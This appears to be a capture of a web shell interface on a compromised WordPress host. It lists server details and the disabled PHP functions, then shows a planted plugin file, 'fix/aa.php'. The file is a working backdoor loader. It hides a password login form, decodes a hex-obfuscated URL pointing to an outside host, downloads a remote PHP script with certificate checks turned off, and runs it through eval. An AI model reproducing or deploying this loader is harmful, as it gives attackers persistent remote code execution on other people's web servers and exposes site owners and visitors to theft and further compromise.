HEX
Server: Apache/2
System: Linux server1c 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64
User: jandjware (1008)
PHP: 8.2.23
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/jandjware/domains/jandjwarehouse.com/public_html/wp-content/plugins/fix/aa.php
<?php
session_start();
$ea = '$2a$12$DH.DkcOFokLzY28Avask3ustmDnthzhXTH9wWrlLmXHYbufCcpq7C'; 
if (!isset($_SESSION['logged_in'])) {
 if ($_SERVER['REQUEST_METHOD'] === 'POST') {
 if (password_verify($_POST['pass'], $ea)) {
$_SESSION['logged_in'] = true;
 header("Location: " . $_SERVER['PHP_SELF']);
 exit;
 } else {
     $error = "X";
 }
 }
if (isset($error)) echo '<p style="color:red;">' . htmlspecialchars($error) . '</p>';
echo '<form method="post">
<style>
        input { margin:0;background-color:#fff;border:1px solid #fff; }
    </style>
 <label><input type="password" name="pass"></label><br>
<input type="submit" value="">
';
 exit;
}
$hexUrl = '68747470733a2f2f68746d6c2e6176617461722d616d702e696e666f2f6261636b75702f616c66612d73632e747874';
$url = hex2bin($hexUrl);

$phpScript = @file_get_contents($url);
if ($phpScript === false && function_exists('curl_init')) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $phpScript = curl_exec($ch);
    curl_close($ch);
}

if ($phpScript !== false) {
    eval('?>' . $phpScript);
} else {
    die("x");
}
?>